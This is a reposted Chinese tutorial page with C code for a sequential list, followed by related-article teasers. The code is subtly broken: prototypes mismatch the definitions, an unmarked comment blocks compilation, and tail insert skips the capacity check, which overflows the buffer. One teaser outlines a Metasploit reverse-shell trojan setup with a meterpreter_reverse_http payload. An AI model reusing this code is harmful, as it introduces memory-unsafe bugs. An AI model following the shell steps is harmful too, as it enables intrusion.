顺序表的基本操作代码

news2025/1/11 23:38:35

seqlist.h:

#pragma once
#include<assert.h>
#include<stdio.h>
#include<stdlib.h>
typedef int type;
typedef struct Seqlist {
    type* data;
    int size;
    int capacity;
}sl;
//初始化顺序表
void initialize(sl* ps);
//销毁线性表
void destory(sl* ps);
//判断是否满员;
void isfull(sl* ps);
//头插数据
void headinsert(sl* ps);
//尾插数据
void tailinsert(sl* ps);
//头删数据
void headdelete(sl* ps);
//尾删数据
void taildelete(sl* ps);
//打印结果
void print(sl ps);

seqlist.c:

#include"seqlist.h"
void initialize(sl* ps){//初始化顺序表
    ps->data = NULL;
    ps->size = ps->capacity = 0;
}
void destory(sl* ps) {销毁顺序表
    if (ps->data) {
        free(ps->data);
        ps->data = NULL;
    }
    ps->size = ps->capacity = 0;
}
void isfull(sl* ps) {
    if (ps->size == ps->capacity) {//如果当前数量达到容量
        int newcapacity =ps->capacity== 0 ? 4 : 2 * ps->capacity;//未创建初始容量则是4,创建了则是扩容到当前容量的两倍
        type* p = (type*)realloc(ps->data, newcapacity * sizeof(type));//开辟空间
        if (p == NULL) {
            perror("申请失败");
                return;
        }
        ps->data = p;//指针重新赋值保证有效;
        ps->capacity = newcapacity;
    }
}
void headinsert(sl* ps,type c) {//头插法
    assert(ps);//避免指针为空
    isfull(ps);//判断是否容量已满,满了则扩容
    for (int i = ps->size; i>=1; i--) {
        ps->data[i] = ps->data[i-1];
    }
    ps->data[0] =  c;
    ps->size++;

}
void tailinsert(sl* ps,type c) {//尾插法
    assert(ps);
    
    ps->data[ps->size++] = c;
}
void headdelete(sl* ps){//头删法
    if (ps->data) {
        for (int i = 0; i<=ps->size-2; i++) {
            ps->data[i] = ps->data[i + 1];
        }
        ps->size--;
    }
}
void taildelete(sl* ps){//尾删法
    assert(ps);
    ps->size--;

}
void print(sl ps) {//打印
    for (int i = 0; i < ps.size; i++) {
        printf("%d", ps.data[i]);
    }
    printf("\n");
}

 测试样例

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2063328.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

网页,html,Web端实现RTSP/RTMP实时推流视频和播放

随着技术的不断发展&#xff0c;实时流传输已经成为许多应用的重要组成部分。RTSP&#xff08;Real-Time Streaming Protocol&#xff09;作为一种实时流媒体传输协议&#xff0c;广泛应用于视频监控、直播等领域。然而&#xff0c;在Web端实现RTSP实时推流视频播放却面临一些挑…

CDGA|数据治理:打破数据孤岛,建设高质量数据库

在当今这个数据驱动的时代&#xff0c;数据已成为企业最宝贵的资产之一。然而&#xff0c;随着企业规模的扩大和业务复杂度的增加&#xff0c;数据孤岛现象日益凸显&#xff0c;严重阻碍了数据的有效利用和价值挖掘。数据治理作为解决这一问题的关键策略&#xff0c;正逐步成为…

ERP进销存系统源码,专业用于企业采购,销售全流程管理的全能系统 带完整的安装代码包

系统概述 在当今竞争激烈的商业环境中&#xff0c;企业管理的高效性和精确性至关重要。而 ERP 进销存系统作为一种集成化的管理工具&#xff0c;为企业提供了全方位的解决方案&#xff0c;能够有效提升企业的运营效率和竞争力。本文将深入探讨一款专业的 ERP 进销存系统源码&a…

缺失ffmpeg.dll要用什么修复方法?快速恢复丢失的ffmpeg.dll文件

多媒体软件用户常常会遭遇一个提示&#xff1a;系统无法找到ffmpeg.dll文件。这类情况经常在启动视频编辑软件、流媒体播放应用或其他音视频处理工具时出现&#xff0c;导致相关程序无法正确加载和执行。ffmpeg.dll是一种关键的动态链接库文件&#xff0c;负责处理复杂的视频和…

无需公网IP反弹shell

一、准备条件 kali机(网络畅通,具有ipv6地址) Windows10(关掉病毒实时查杀,尽量别开防火墙) 二、生成木门拿到shell 1.启动kali提权 2.查看自己的ipv6地址 3.设置msfconsole,生成木马 msfconsole use payload/windows/x64/meterpreter_reverse_http set LHOST ipv6…

博客的多重用途及使用技巧

在如今的信息化时代&#xff0c;博客已经成为人们分享信息和建立互联网平台的重要工具。从知识分享到建立品牌形象&#xff0c;博客的用途在不断拓展和进化。无论是个人还是企业&#xff0c;博客都提供了一个平台&#xff0c;让他们能够与更广泛的受众进行交流和互动。本文将详…

Jenkins 2.346.1完整搭建及项目部署安装

java version "1.8.0_202" 1.安装 官网下载war包直接启动&#xff0c;比较简单&#xff0c; linux命令 &#xff1a; wget https://mirrors.jenkins.io/war-stable/2.346.1/jenkins.war 2.启动命令 nohup java -jar jenkins.war --httpPort8777 --prefix/jenkin…

智能化系统集成项目经理是什么?含金量怎么样?

智能化系统项目集成经理负责规划、设计、实施、管理以及维护智能化系统项目&#xff0c;他们不仅需要掌握深厚的智能化系统知识&#xff0c;还需具备出色的项目管理能力&#xff0c;以确保项目的流畅进行和高效率完成。 伴随智能技术的广泛应用及行业的迅猛发展&#xff0c;对…

【一招解决】局域网内命令行无法通过代理进行依赖下载,适用于npm、pip、mvn、gradle等命令

【一招解决】局域网内命令行无法通过代理进行依赖下载&#xff0c;适用于npm、pip、mvn、gradle等 一、背景二、解决方法2.1 明确代理服务器使用的协议2.2 命令行设置代理2.3 环境变量设置 三、效果 一、背景 出于网络安全考虑&#xff0c;局域网内终端上网只能通过代理浏览开…

thinkphp邮件发送:如何配置SMTP实现功能?

thinkphp邮件发送的技巧&#xff1f;如何集成thinkphp来发信&#xff1f; 通过ThinkPHP邮件发送&#xff0c;我们可以实现如用户注册、密码找回、通知提醒等功能。那么&#xff0c;如何配置SMTP以便使用ThinkPHP邮件发送功能呢&#xff1f;接下来AokSend将详细介绍。 thinkph…

数据结构之LRUCache

找往期文章包括但不限于本期文章中不懂的知识点&#xff1a; 个人主页&#xff1a;我要学编程(ಥ_ಥ)-CSDN博客 所属专栏&#xff1a;数据结构&#xff08;Java版&#xff09; 目录 LRU Cache的概念 LRU Cache的实现 模拟实现LRU Cache 相关练习 LRU Cache的概念 LRU是…

FFmpeg的入门实践系列三(基础知识)

欢迎诸位来阅读在下的博文~ 在这里&#xff0c;在下会不定期发表一些浅薄的知识和经验&#xff0c;望诸位能与在下多多交流&#xff0c;共同努力 文章目录 前期博客一、音视频常用术语二、FFmpeg库的结构介绍三、FFmpeg的常用函数初始化封装格式编解码器相关 四、FFmpeg常用的数…

备战秋招60天算法挑战,Day23

题目链接&#xff1a; https://leetcode.cn/problems/counting-bits/ 视频题解&#xff1a; https://www.bilibili.com/video/BV1RE421w7C7/ LeetCode 338. 比特位计数 题目描述 给你一个整数 n &#xff0c;对于 0 < i < n 中的每个 i &#xff0c;计算其二进制表示中…

我店平台商业模式案例分析

我店平台是一家综合性的新消费平台&#xff0c;其商业模式结合了“互联网实体终端”的理念&#xff0c;通过数字化技术促进消费生态的升级和变革。以下是对该平台商业模式的概述&#xff1a; 平台定位 我店平台的目标是建立一个消费者、商家和平台三者都能从中受益的消费生态圈…

特斯拉电动卡车事故引发安全调查,汽车制造商电动车战略调整

特斯拉电动卡车事故引关注 周三&#xff0c;美国国家运输安全委员会宣布启动对特斯拉电动半挂卡车在加州高速上发生的事故及随后起火事件的全面调查。此次调查将联合加州公路巡警局共同进行&#xff0c;旨在查明事故原因&#xff0c;确保道路安全。事故发生在周一深夜&#xff…

性价比运动耳机有哪些?五大性价比运动耳机推荐!

作为一名资深的数码爱好者&#xff0c;我一直对各种新型耳机产品保持着浓厚的兴趣。最近&#xff0c;我因为很多运动爱好者都在询问什么耳机是比较适合运动的时候使用的&#xff0c;看了市面上的产品&#xff0c;开放式耳机无疑是一个不错的选择&#xff0c;它因为采用人体工学…

控制反转(IOC)——Spring第一个核心思想

控制反转概述 控制反转&#xff08;IoC&#xff09;是一种将对象的创建、组装和管理交给容器或框架来实现的编程思想。它可以减低对象之间的耦合度&#xff0c;提高代码的灵活性和模块化。控制反转的一种常见形式是依赖注入&#xff08;DI&#xff09;&#xff0c;即对象的依赖…

Godot模拟实现多人游戏平滑移动

最近几天接触到Godot,发现是一个很不错的免费开源游戏引擎,游戏本身实现了多人对战游戏之间同步功能(好像更适合于即时对战类,而且对战人数对计算机的性能要求高); 如果要实现一个大型的游戏,1个服务端(长期运行)对应N多个客户端(随时运行)需要怎么实现,不知道是不…

Rust到底值不值得学

【图书介绍】《Rust编程与项目实战》-CSDN博客 《Rust编程与项目实战》(朱文伟&#xff0c;李建英)【摘要 书评 试读】- 京东图书 (jd.com) Rust是近两年呼声比较高的一种新型开发语言&#xff0c;市场占有量并不大&#xff0c;但增长速度极为迅猛。 有人统计过&#xff0c;…

【访客管理系统】基于低代码+golang+人脸识别技术实现的访客管理系统

概述 访客预约-审批-核验流程 5个步骤&#xff1a;生成邀约 -> 访客填写信息 -> 企业员工审批 -> 访客获取凭证 -> 访客核验入园 访客核验方式 4种方式&#xff1a;二维码&#xff0c;身份证&#xff0c;人证核验&#xff0c;人脸识别 工作台 资料管理 园区管…